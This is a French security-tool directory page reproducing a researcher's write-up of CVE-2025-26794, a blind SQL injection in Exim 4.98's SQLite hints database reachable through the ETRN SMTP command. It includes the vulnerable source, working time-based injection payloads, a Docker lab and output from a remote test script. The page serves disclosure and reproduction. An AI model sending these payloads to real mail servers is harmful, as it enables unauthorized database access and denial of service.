Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-26794 — CVE-2025-26794 : Injection SQL aveugle dans Exim 4.98 (SQLite DBM) - write-up d'exploit | Kitploit
Outils/GitHubGitHub/oscarbataille/cve-2025-26794
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794 : Injection SQL aveugle dans Exim 4.98 (SQLite DBM) - write-up d'exploit

Voir le dépôt
15il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-26794 : Injection SQL aveugle dans Exim 4.98 (SQLite DBM) - writeup d'exploitation

Rapport Exim : https://www.exim.org/static/doc/security/CVE-2025-26794.txt

J'ai découvert cette vulnérabilité lors d'une revue de code manuelle.

Détails de la vulnérabilité :

Problème

Les paramètres SQL, lorsque SQLite est utilisé comme DBM, ne sont pas correctement assainis. Cela permet à un utilisateur distant de créer des requêtes SQLite personnalisées.

Prérequis :

  • Compilez Exim avec "USE_SQLITE = yes". Cela définira SQLite comme gestionnaire de base de données (DBM).
  • Activez la commande ETRN. Pour cela, vous devez définir "acl_smtp_etrn" dans le fichier de configuration.

PoC

Introduction

Exim utilise une base de données interne pour le stockage interne de paires clé:valeur (appelée HintsDB) qui prend en charge différents backends, définis au moment de la compilation. L'ajout le plus récent est SQLite. Elle est utilisée pour stocker :

  • les sessions TLS
  • les informations sur les limites de débit
  • les informations sur les nouvelles tentatives
  • les sémaphores (avec enq_start()) pour les commandes ETRN et la livraison SMTP
  • les informations sur les limites de concurrence pour le transport
  • la « base de données d'attente » pour les livraisons de courriels différées par un transport
  • Pour PIPECONNECT : la mise en cache des réponses EHLO des serveurs distants

Le fichier affecté est hintsdb.h. Il a été déplacé dans un fichier séparé (hints_sqlite.h) dans les derniers commits. Seules les fonctions SQLite sont concernées (exemple de fonction : exim_s_dbp).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

La clé d'entrée n'est pas correctement échappée. Par conséquent, si nous parvenons à contrôler la clé, nous serons en mesure d'injecter n'importe quel code SQLite.

Exploitation

RFC1985 définit la commande SMTP ETRN, « par laquelle un client peut demander que le serveur commence le traitement de ses files d'attente de courrier pour les messages qui attendent sur le serveur pour la machine cliente ». Elle s'utilise avec la commande SMTP : ETRN #domain.com.

Dans Exim, la commande ETRN définit un sémaphore dans la HintsDB pour éviter d'exécuter plusieurs commandes ETRN en parallèle. Ce sémaphore est implémenté par la fonction enq_start(keyname, value) qui crée une nouvelle entrée dans la base de données « misc ».

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

Par exemple, la commande SMTP ETRN #test.com créera une entrée temporaire dans la base de données SQLite « misc » avec la clé « etrn-#test.com » et la valeur 1.

À la fin du traitement de la commande ETRN, l'entrée de la base de données sera supprimée :

root@kitploit:~
enq_end(etrn_serialize_key);

Puisque nous contrôlons la clé, nous pouvons injecter notre propre code SQL avec la commande SMTP suivante :

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

Comme il n'y a pas de sortie, nous pouvons soumettre une charge utile SQLi basée sur le temps pour tester cette vulnérabilité à distance :

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

Impact

  • J'ai pu me connecter à d'autres bases de données SQLite locales (auxquelles l'utilisateur Exim a accès) avec ATTACH DATABASE ; je suppose que nous pourrions probablement exploiter une condition de course dans Exim pour déclencher un comportement indéfini en manipulant les autres bases de données utilisées. C'est encore très hypothétique pour le moment.
  • Nous avons également accès à l'ensemble de la surface d'attaque de SQLite. Nous pouvons combiner cet exploit avec un exploit SQLite pour obtenir une exécution de code à distance (RCE).

Limites de l'exploitation :

  • Les types de lookup dbm, dmbjz, dbmnz utilisent le DBM configuré (SQLite dans ce cas), ce qui peut augmenter considérablement la surface d'attaque. Je n'ai pas testé l'exploitation. Cependant, utiliser le lookup dbm lorsque SQLite est défini comme DBM semble peu probable.
  • Je suppose qu'il est assez rare d'activer la commande ETRN (et elle est assez ancienne). Je n'ai trouvé nulle part ailleurs dans le code où une entrée utilisateur est utilisée pour construire la chaîne de requête.
  • Je suppose qu'il est assez rare d'activer le support SQLite comme DBM car il est très récent.
  • Je suppose qu'il est aussi assez rare d'utiliser SQLite comme DBM car il n'a été ajouté que dans la dernière version d'Exim. Par conséquent, je doute que cette méthode d'exploitation ait été utilisée dans la nature. C'est néanmoins une vulnérabilité grave.

Cela signifie que nous pourrions facilement faire un déni de service (par ex. remplir le disque), mais faire évoluer cela vers une exécution de code à distance demanderait plus de travail, mais pourrait être possible.

Reproduire le bug

Voici un laboratoire Docker local pour aider à reproduire cette vulnérabilité.

Construire et démarrer exim

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh construira et vous connectera au conteneur
  4. À l'intérieur du conteneur, exécutez bash start-exim.sh pour démarrer le serveur exim

Se connecter au serveur EXIM

  1. Connectez-vous avec Netcat : nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. Envoyez la commande ETRN : ETRN #'
  4. Vérifiez le journal Exim pour cette ligne : sqlite3_exec: near "', X'": syntax error

Tester un serveur

J'ai développé un script test.py pour tester cette vulnérabilité à distance.

root@kitploit:~
python3 docker_lab/test.py <host>

Exemple :

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
Télécharger l’outil